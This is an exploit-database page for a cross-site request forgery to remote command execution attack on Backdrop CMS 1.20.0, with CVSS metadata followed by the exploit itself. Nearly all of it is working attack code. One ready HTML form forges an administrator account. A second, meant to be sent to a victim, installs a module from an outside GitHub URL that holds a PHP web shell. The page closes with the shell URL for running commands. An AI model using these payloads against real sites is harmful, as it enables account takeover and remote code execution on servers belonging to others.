Exploitalert - Database of Exploits

Backdrop CMS 1.20.0 Cross Site Request Forgery / Command Execution

CVE	Category	Price	Severity
N/A	CWE-352	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	Critical	Remote	2021-09-23

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021090120

Backdrop CMS 1.20.0 Cross Site Request Forgery / Command Execution

# Exploit Title: Backdrop CMS 1.20.0 - 'Multiple' Cross-Site Request Forgery (CSRF) # Exploit Author: V1n1v131r4 # Date: 2021-09-22 # Vendor Homepage: https://backdropcms.org/ # Software Link: https://github.com/backdrop/backdrop/releases/download/1.20.0/backdrop.zip # Version: 1.20.0 # Tested On: Kali Linux, Ubuntu 20.04 # Description: Backdrop CMS suffers from an Cross-site Request Forgery Vulnerability allowing Remote Attackers to add new user with Admin powers. # Description: Backdrop CMS suffers from an Cross-site Request Forgery Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously add-on with crafted PHP file. <html> <body> <form method="POST" action="http://example.com/backdrop/?q=admin/people/create"> <input type="text" name="q" value="admin/people/create"> <input type="text" name="SESSaca5a63f4c2fc739381fab7741d68783" value="4IVp_-QA9bzSPmMyXalKTNS3BNFTQnxJTw8t93Gi6c8"> <input type="text" name="name" value="hacker"> <input type="text" name="mail" value="[email protected]"> <input type="text" name="notify" value="1"> <input type="text" name="pass" value="admin"> <input type="text" name="form_build_id" value="form-fPIKc40E3Yp2JOBgAd6gFbMJFsihncTANLNRWwPRWIY"> <input type="text" name="form_token" value="AtrGRG9-8zS8-GoKbYL3niPjqnZP2zTirEqB4E_kS9I"> <input type="text" name="form_id" value="user_register_form"> <input type="text" name="status" value="1"> <input type="text" name="roles[administrator]" value="administrator"> <input type="text" name="op" value="Create new account"> <input type="submit" value="Send"> </form> </body> </html> # Step 1 # Send this page below to the victim <html> <body> <form method="POST" action="http://example.com/backdrop/?q=system/ajax"> <input type="text" name="q" value="system/ajax"> <input type="text" name="Backdrop.tableDrag.showWeight" value="0"> <input type="text" name="SESSaca5a63f4c2fc739381fab7741d68783" value="4IVp_-QA9bzSPmMyXalKTNS3BNFTQnxJTw8t93Gi6c8"> <input type="text" name="bulk" value=""> <input type="text" name="project_url" value="https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/download/backdrop/reference.tar"> <input type="text" name="files[project_upload]" value=""> <input type="text" name="form_build_id" value="form-p-BrvXTDPqUhhAatHFr4d_dQKt6Dn5d-mIf4hwFyuJA"> <input type="text" name="form_token" value="aYigpmZz3OXNHnjJTO2Tu43IXMKyrMXvB2yL-4NFbTw"> <input type="text" name="form_id" value="installer_manager_install_form"> <input type="text" name="_triggering_element_name" value="op"> <input type="text" name="_triggering_element_value" value="Install"> <input type="text" name="ajax_html_ids[]" value="skip-link"> <input type="text" name="ajax_html_ids[]" value="main-content"> <input type="text" name="ajax_html_ids[]" value="installer-browser-filters-form"> <input type="text" name="ajax_html_ids[]" value="edit-search-text"> <input type="text" name="ajax_html_ids[]" value="edit-submit"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-bootstrap_lite"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-corporate_kiss"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-lateral"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-colihaut"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-shasetsu"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-borg"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-pelerine"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-cleanish"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-materialize"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-lumi"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-tatsu"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-mero"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-snazzy"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-afterlight_tribute"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-minicss"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-zurb_foundation_6"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-thesis"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-summer_fun"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-news_arrow"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-ajax"> <input type="text" name="ajax_html_ids[]" value="title-link"> <input type="text" name="ajax_html_ids[]" value="add-to-queue-link-basis_contrib"> <input type="text" name="ajax_html_ids[]" value="installer-browser-manual-install-link"> <input type="text" name="ajax_html_ids[]" value="edit-link"> <input type="text" name="ajax_html_ids[]" value="admin-bar"> <input type="text" name="ajax_html_ids[]" value="admin-bar-wrapper"> <input type="text" name="ajax_html_ids[]" value="admin-bar-icon"> <input type="text" name="ajax_html_ids[]" value="admin-bar-menu"> <input type="text" name="ajax_html_ids[]" value="admin-bar-extra"> <input type="text" name="ajax_html_ids[]" value="admin-bar-search-items"> <input type="text" name="ajax_html_ids[]" value="ui-id-1"> <input type="text" name="ajax_html_ids[]" value="backdrop-modal"> <input type="text" name="ajax_html_ids[]" value="installer-manager-install-form"> <input type="text" name="ajax_html_ids[]" value="edit-bulk-wrapper"> <input type="text" name="ajax_html_ids[]" value="edit-bulk"> <input type="text" name="ajax_html_ids[]" value="edit-project-url-wrapper"> <input type="text" name="ajax_html_ids[]" value="edit-project-url"> <input type="text" name="ajax_html_ids[]" value="edit-project-upload-wrapper"> <input type="text" name="ajax_html_ids[]" value="edit-project-upload"> <input type="text" name="ajax_html_ids[]" value="edit-actions"> <input type="text" name="ajax_html_ids[]" value="edit-submit--2"> <input type="text" name="ajax_page_state[theme]" value="seven"> <input type="text" name="ajax_page_state[theme_token]" value="RY9h420qjWmejTKFp7C0ytS__FtpWnVmEjVCnHWFblo"> <input type="text" name="ajax_page_state[css][core/misc/normalize.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/system/css/system.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/system/css/system.theme.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/system/css/messages.theme.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/system/css/system.admin.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/layout/css/grid-flexbox.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/contextual/css/contextual.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/comment/css/comment.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/date/css/date.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/field/css/field.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/search/search.theme.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/user/css/user.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/views/css/views.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/admin_bar/css/admin_bar.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/admin_bar/css/admin_bar-print.css]" value="1"> <input type="text" name="ajax_page_state[css][core/layouts/boxton/boxton.css]" value="1"> <input type="text" name="ajax_page_state[css][core/modules/installer/css/installer.css]" value="1"> <input type="text" name="ajax_page_state[css][core/themes/seven/css/seven.base.css]" value="1"> <input type="text" name="ajax_page_state[css][core/themes/seven/css/style.css]" value="1"> <input type="text" name="ajax_page_state[css][core/themes/seven/css/responsive-tabs.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/opensans/opensans.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.core.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.button.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.draggable.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.resizable.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.dialog.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/dialog.theme.css]" value="1"> <input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.theme.css]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/html5.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery-extend-3.4.0.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery-html-prefilter-3.5.0.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery.once.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/backdrop.js]" value="1"> <input type="text" name="ajax_page_state[js][core/modules/layout/js/grid-fallback.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ajax.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery.form.js]" value="1"> <input type="text" name="ajax_page_state[js][core/modules/contextual/js/contextual.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/form.js]" value="1"> <input type="text" name="ajax_page_state[js][core/modules/admin_bar/js/admin_bar.js]" value="1"> <input type="text" name="ajax_page_state[js][core/modules/installer/js/installer.project_list.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/progress.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/tableheader.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/dismiss.js]" value="1"> <input type="text" name="ajax_page_state[js][core/themes/seven/js/script.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.data.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.disable-selection.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.form.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.labels.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.scroll-parent.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.tabbable.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.unique-id.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.version.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.escape-selector.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.focusable.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.form-reset-mixin.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.ie.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.keycode.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.plugin.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.safe-active-element.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.safe-blur.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.widget.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/textarea.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.button.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.mouse.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/jquery.ui.touch-punch.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.draggable.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.position.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.resizable.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.dialog.min.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/dialog.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/dialog.ajax.js]" value="1"> <input type="text" name="ajax_page_state[js][core/misc/collapse.js]" value="1"> <input type="submit" value="Send"> </form> </body> </html> Run on your browser: http://example.com/backdrop/modules/reference/shell.php?cmd=[command] to execute remote commands.

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